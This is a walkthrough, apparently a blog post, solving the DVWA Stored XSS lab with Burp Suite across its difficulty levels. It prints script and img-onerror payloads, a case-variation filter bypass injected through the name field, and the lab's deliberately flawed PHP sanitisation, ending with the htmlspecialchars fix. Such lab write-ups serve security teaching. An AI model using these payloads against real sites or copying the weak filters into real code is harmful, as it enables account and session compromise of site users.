Refer to the post start DVWA with Docker to learn how to start DVWA.
I will mostly use Burp Suite to solve the challenges. To configure Burp suite refer to the post configure burp suite for DVWA.
Click on the XSS (Stored) button on the left menu to access the challenge.
We access an application allowing us to post a comment. We try out the application by posting a comment.
If we look at the request sent in Burp Suite Proxy > HTTP history here is what we get :
POST /vulnerabilities/xss_s/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/vulnerabilities/xss_s/
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
DNT: 1
Connection: close
Cookie: PHPSESSID=nbnj6k8ebi8g4j23697mmbne77; security=low
Upgrade-Insecure-Requests: 1
txtName=sammy&mtxMessage=Anyone+here+%3F&btnSign=Sign+Guestbook
We can see that our message is being transmitted through the txtName
and mtxtMessage
parameters :
txtName=sammy&mtxMessage=Anyone+here+%3F&btnSign=Sign+Guestbook
Once our message has been posted we can find it the list of comments on the page. Here is the HTML code of the comment section once our comment has been posted.
<div id="guestbook_comments">Name: test<br>Message: This is a test comment.<br></div>
<div id="guestbook_comments">Name: sammy<br>Message: Anyone here ?<br></div>
The principle behing the XSS stored vulnerability is to inject some javascript in the web page. To do so we try to pass some javascript code to an input to see if we can get it to execute on the page.
In our example, instead of filling in the comments with a message we pass the text :
<script>alert("hello")</script>
If the page is vulnerable to a javascript injection, the source code of the page in the comment section should look like this:
<div id="guestbook_comments">Name: test<br>Message: This is a test comment.<br></div>
<div id="guestbook_comments">Name: sammy<br>Message: Anyone here ?<br></div>
<div id="guestbook_comments">Name: xss<br>Message: <script>alert("hello")</script><br></div>
The result is that the script
tag is interpreted and executed by the browser and a pop-up
appears with the text hello.
Now that we know the basics of a XSS injection, let's try it ourselves. To do so we fill in a new comment with the following message :
<script>alert("hello")</script>
When we click Sign the guestbook the page is refreshed automatically and our comments are loaded. A pop up immediately appears saying hello : our attack worked !
Here is the HTML source code of the interesting comment section :
<div id="guestbook_comments">Name: xss<br>Message: <script>alert("hello")</script><br></div>
Let's take a look at the PHP server code to understand the issue.
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
As we can see from the code, the input is sanitized for SQL injection but not for XSS injections.
A first line of defense would be removing the <script>
tags from the user input.
We setup the DB with Setup / Reset DB > Create / Reset Database and change the level to Medium.
The application is the same but if we try our exploit, it doesn't work. The script tag is removed from our comment.
We suspect the server code of parsing the user input and removing the instances of <script>
.
Our first theory is that the php code looks like this :
str_replace( '<script>', '', $name );
If that is the case, the developer hasn't taken into account the case sensitivity of the str_replace
function.
If we try to pass the following injection as our message we should be able to trigger a pop up :
<Script>alert("gotcha")</script>
The result is disappointing, the message is stripped from every tag.
What we didn't try yet is an injection in the name
field; however,
you will see that the character length of the name field is limited
in the web application form.
To bypass the limitation we craft our request in Burp Suite. To do so :
Now we go in the Repeater tab and modify the txtName
parameter so that it is
identical to the mtxtMessage
parameter.
The request should look like this :
txtName=%3CScript%3Ealert%28%22gotcha%22%29%3C%2Fscript%3E&mtxMessage=%3CScript%3Ealert%28%22gotcha%22%29%3C%2Fscript%3E&btnSign=Sign+Guestbook
Now that this is done we can click on Go to send the request.
This time it works and we get our popup.
The developer's error was forgetting that str_replace
is case sensitive.
If the developer had used str_ireplace
our injection would have been impossible.
Here is a simplified version of the vulnerable code:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
}
?>
We change the level to High and clear the guestbook with the button Clear Guestbook.
The application is exactly the same.
Our previous exploits don't work, the script tags are removed whether or not we are using caps.
We suspect that the developer has hardened the code and now takes into account the case sensitivity.
That being said, thinking of every possible injection and preventing them can be quite hard.
Injections can be done with <img>
tags, <input>
tags, <svg>
tags and more.
To find a XSS, we will try a lot of these injections with the Burp Intruder and then see what worked. To configure the Burp Intruder, please refer to the post Configuring the Burp Intruder
We use the following parameters :
Parameter | Value |
---|---|
Request sent to intruder | POST request from signing the guestbook |
Payload positions | txtName and mtxtMessage values |
Attack type | Sniper |
Payload type | Simple list |
Payload Options | Load this file from IntruderPayloads |
Once the attack has finished, we just have to reload the page and see if one or multiple popups appear. In our case a bunch of popup appear.
To find one that triggered the popup we can try a dichotomy search or simply take a look at the comment section and look for anything unusual. When we see a broken image, we suspect it might be one of the injections that worked.
<div id="guestbook_comments">Name: <img src=x onload=prompt(1) onerror=alert(1) onmouseover=prompt(1)><br />Message: ee<br /></div>
If we look at the vulnerable code we can see that the developer failed to protect properly the $name
variable.
A better approach would have been to completely remove the tags from the name, or to convert all applicable characters to HTML entities with the function htmlentities
or htmlspecialchars
.
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
}
?>
In the impossible level, the developer secured the code properly by using htmlspecialchars
.
Tags will be converted so that they cannot be interpreted by the browser.
<?php
$message = stripslashes( $message );
$message = htmlspecialchars( $message );
$name = stripslashes( $name );
$name = htmlspecialchars( $name );
?>